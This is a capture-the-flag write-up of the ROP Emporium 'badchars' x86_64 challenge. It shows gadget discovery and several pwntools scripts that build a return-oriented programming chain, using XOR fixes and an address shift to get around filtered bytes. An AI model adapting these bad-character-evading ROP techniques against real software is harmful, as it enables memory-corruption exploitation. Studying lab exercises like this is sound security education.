5. badchars
the fifth challenge, it is pretty similar to the previous challenge write4
but this time, the input
is processed and turned some byte into a bad character.
the challenge showed us the bad characters which are 'x', 'g', 'a', '.'
.
with this knowledege let's find the gadgets and see what we can do using ROPgadget
.
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret
these are some gadgets that i find useful for us to use create this ROP chain.
now let's find where do we write to.
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ rabin2 -S badchars
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss
.data
seems okay so let's use that.
let's make the script.
from pwn import *
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(0xaaaaaaaa) + p64(0xaaaaaaaa) + p64(mov_r13_r12)
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
let's try it and see what will happen to our flag.txt
string...
gef➤ x/s 0x601028
0x601028: "fl\353\353\353t\353t"
gef➤ x/2xg 0x601028
0x601028: 0x74eb74ebebeb6c66 0x0000000000000000
so this happened to our string, the character that are in the list of bad chars get replaced by 0xeb
.
our ROP chain doesn't seem to be broken so lucky for us, now that we have this info what can we do?
since some of the string are still intact we can just use some gadgets to replace the bad bytes, let's find them.
oh wait i forgot to look into the usefulGadgets
function so let's do that first.
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ objdump -M intel --disassemble=usefulGadgets -S badchars
badchars: file format elf64-x86-64
0000000000400628 <usefulGadgets>:
400628: 45 30 37 xor BYTE PTR [r15],r14b
40062b: c3 ret
40062c: 45 00 37 add BYTE PTR [r15],r14b
40062f: c3 ret
400630: 45 28 37 sub BYTE PTR [r15],r14b
400633: c3 ret
400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
400638: c3 ret
400639: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
i see, so we have xor, add and sub instructions for us to use byte by byte. i decided to use xor here.
let's craft our new payload to fix the bad chars in memory.
from pwn import *
def findXor(x, badbyte = 0xeb):
for i in range(255):
if i ^ badbyte == x:
return i
return 0
badbyte = 0xeb
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
this should work...
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 965
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '965', '-x', '/tmp/pwnms4tsxy0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: flag.t\xebt
$ [*] Got EOF while reading in interactive
hold on why is that? why is the character x
doesn't get fixed? maybe our rop chain is broken so let's see.
fixBadbyte("x", data_sec + 6)
is where we fix the bad char for x
since we know that addresses also get
affected by the bad chars filter, so something goes wrong here, maybe the address??
we know our .data
section is 0x601028
since we +6
the address is 0x601028 + 6 = 0x60102e
and it includes
one of the bad bytes which is 0x2e
. so what can we do here...
how about we shift the address of .data
by one so that our ROP chain doesn't use 0x60102e
any more
but instead we use 0x60102f
, sounds great! let's do just that.
from pwn import *
def findXor(x, badbyte = 0xeb):
for i in range(255):
if i ^ badbyte == x:
return i
return 0
badbyte = 0xeb
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630
data_sec = 0x601029
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
let's run it
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 1008
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '1008', '-x', '/tmp/pwn6i7nie6c.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
nicesu!!!